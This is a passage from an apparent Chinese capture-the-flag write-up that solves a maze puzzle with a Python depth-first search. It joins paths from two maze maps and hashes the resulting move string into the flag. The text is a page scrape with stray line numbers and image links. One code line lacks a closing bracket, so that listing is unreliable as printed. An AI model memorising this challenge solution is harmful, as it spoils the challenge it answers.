[1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,],
[1,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,],
[1,0,1,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,],
[1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,],
[1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,],
[1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,0,1,],
[1,0,1,0,1,1,0,0,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,],
[1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,],
[1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,],
[1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,]
]
 
maze1 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,],
[1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,],
[1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,],
[1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,],
[1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,],
[1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,],
[1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,],
[1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,],
[1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,],
[1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,],
[1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,],
[1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,],
[1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,1,],
[1,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,],
[1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,],
[1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,],
[1,0,0,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,],
[1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,],
[1,1,1,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,],
[1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,],
[1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,],
[1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,],
[1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,],
[1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,],
[1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,],
[1,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,],
[1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,],
[1,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,],
[1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,1,1,0,1,],
[1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,],
[1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,],
[1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,],
[1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,]  
]
 
def getPath(maze,x1,y1,x2,y2):
    stack = []
    path = []
    shorts = []
    stack.append((x1,y1))
    while len(stack)>0:
        curNode = stack[-1#当前的节点
        if curNode[0] == x2 and curNode[1] == y2:
            X1 = x1
            Y1 = y1
            for p in stack:
                if p[0] != X1:
                    if p[0] - 1 == X1:
                        path.append("down") #down 0
                    else:
                        path.append("up") #up d
                if p[1] != Y1:
                    if p[1] - 1 == Y1:
                        path.append("right") #right 3
                    else:
                        path.append("left") #left g
                X1 = p[0]
                Y1 = p[1]
            print("xyPosition:\n",stack)
            print("stepPosition:\n",path)
            Tmp = ''
            for d in path:
                if d!=Tmp:
                    shorts.append(d)
                    Tmp = d      
            print("step:\n",shorts)
            print("control:\n",'-'.join(shorts))
            return stack,path    #Ture
 
        for di in dirs:
            nextNode = di(curNode[0],curNode[1])  #如果下一个结点可以走
            if maze[nextNode[0]][nextNode[1]] ==0:
                stack.append(nextNode)
                maze[nextNode[0]][nextNode[1]] = 2  #标记为已经走过
                break
        else:
            maze[nextNode[0]][nextNode[1]] = 2
            stack.pop()
    else:
        print("noWay")
        return False
 
dirs = [
    lambda x, y: (x + 1, y),
    lambda x, y: (x - 1, y),
    lambda x, y: (x, y - 1),
    lambda x, y: (x, y + 1)
]
 
#解出map0,map1的路线
s0 = getPath(maze0,1,0,38,39)
s1 = getPath(maze1,1,0,38,39)
 
#找出map0与map1所有公共点,
#可能地图丛这里开始变化,
#拼接之前与之后的路线
for i in s0[0]:
    for j in s1[0]:
        if i == j:
            print(i)
#得出操作迷宫变换点为(25,19)          
#将map0与map1断开,拼接路线
path = []
bz = False
for i in s0[0]:
    if i == (25,19):
        break
    path.append(s0[1][s0[0].index(i)])
for j in s1[0]:
    if j == (25,19):
        bz = True
    if bz:
        path.append(s1[1][s1[0].index(j)-1])
 
#去掉重复操作
flag = []
Tmp = ''
for d in path:
    if d!=Tmp:
        flag.append(d)
        Tmp = d
print("result control:\n",'-'.join(flag))

result control:
right-down-right-up-right-down-right-down-right-down-right-down-right-down-left-down-left-down-right-down-right-down-right-down-right-up-right-down-right-down-left-down-left-down-left-down-left-down-right-down-right-up-right-down-right-down-right-down-left-down-left-down-left-up-left-down-left-down-left-down-left-down-right-down-right-up-right-up-right-up-right-up-right-up-right-up-right-up-right-up-left-up-right-up-right-down-right-down-left-down-right-down-left-down-left-down-left-down-left-down-right-up-right-down-right
​```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
![image 20221119164616481](https://s1.ax1x.com/2022/11/30/zwfqat.png)
 
得到新的操作路线,操作得到
 
![image 20221119170710223](https://s1.ax1x.com/2022/11/30/zwhprj.png)
 
最后,按照poster的提示,更换“上下左右”为“d0g3”,生成md5的flag。
 
![image 20221119164856467](https://s1.ax1x.com/2022/11/30/zwfbVI.png)
 
完整代码为:
 
```python
import hashlib
 
#使用栈来存储路径
maze0 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,0,1,1,],
[1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,],
[1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,],
[1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1,1,1,],
[1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,],
[1,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,],
[1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,],
[1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,],
[1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,],
[1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,1,],
[1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,],
[1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,],
[1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,],
[1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,1,],
[1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,],
[1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,],
[1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,],
[1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,],
[1,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,],
[1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,],
[1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,],
[1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,],
[1,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,],
[1,0,1,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,],
[1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,],
[1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,],
[1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,0,1,],
[1,0,1,0,1,1,0,0,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,],
[1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,],
[1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,],
[1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,]
]
 
maze1 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,],
[1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,],
[1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,],
[1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,],
[1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,],
[1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,],
[1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,],
[1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,],
[1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,],
[1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,],
[1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,],
[1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,],
[1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,